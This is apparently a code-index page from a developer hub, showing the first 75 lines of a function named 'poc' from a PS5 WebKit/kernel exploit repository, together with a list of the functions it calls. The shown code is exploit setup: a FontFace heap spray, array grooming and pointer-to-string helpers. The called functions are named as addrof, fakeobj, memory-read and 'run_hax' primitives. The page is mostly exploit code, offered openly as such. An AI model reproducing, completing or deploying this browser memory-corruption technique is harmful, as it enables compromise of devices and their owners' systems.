MCPcopy Create free account
hub / github.com/Cryptogenic/PS5-IPV6-Kernel-Exploit / poc

Function poc

document/en/ps5/webkit.js:18–469  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

16}
17
18function poc() {
19
20 var union = new ArrayBuffer(8);
21 var union_b = new Uint8Array(union);
22 var union_i = new Uint32Array(union);
23 var union_f = new Float64Array(union);
24
25 var bad_fonts = [];
26
27 for (var i = 0; i < SPRAY_FONTS; i++)
28 bad_fonts.push(new FontFace("font1", "", {}));
29
30 var good_font = new FontFace("font2", "url(data:text/html,)", {});
31 bad_fonts.push(good_font);
32
33 var arrays = [];
34 for (var i = 0; i < 512; i++)
35 arrays.push(new Array(31));
36
37 arrays[256][0] = 1.5;
38 arrays[257][0] = {};
39 arrays[258][0] = 1.5;
40
41 var jsvalue = {
42 a: arrays[256],
43 b: new Uint32Array(1),
44 c: true
45 };
46
47 var string_atomifier = {};
48 var string_id = 10000000;
49
50 function ptrToString(p) {
51 var s = '';
52 for (var i = 0; i < 8; i++) {
53 s += String.fromCharCode(p % 256);
54 p = (p - p % 256) / 256;
55 }
56 return s;
57 }
58
59 function stringToPtr(p, o) {
60 if (o === undefined)
61 o = 0;
62 var ans = 0;
63 for (var i = 7; i >= 0; i--)
64 ans = 256 * ans + p.charCodeAt(o + i);
65 return ans;
66 }
67
68 var strings = [];
69
70 function mkString(l, head) {
71 var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
72 string_atomifier[s] = 1;
73 strings.push(s);
74 return s;
75 }

Callers

nothing calls this directly

Calls 11

ptrToStringFunction · 0.85
mkStringFunction · 0.85
stringToPtrFunction · 0.85
makeReaderFunction · 0.85
boot_addrofFunction · 0.85
i48_getFunction · 0.85
i48_putFunction · 0.85
read_mem_setupFunction · 0.85
boot_fakeobjFunction · 0.85
run_haxFunction · 0.85
pushMethod · 0.80

Tested by

no test coverage detected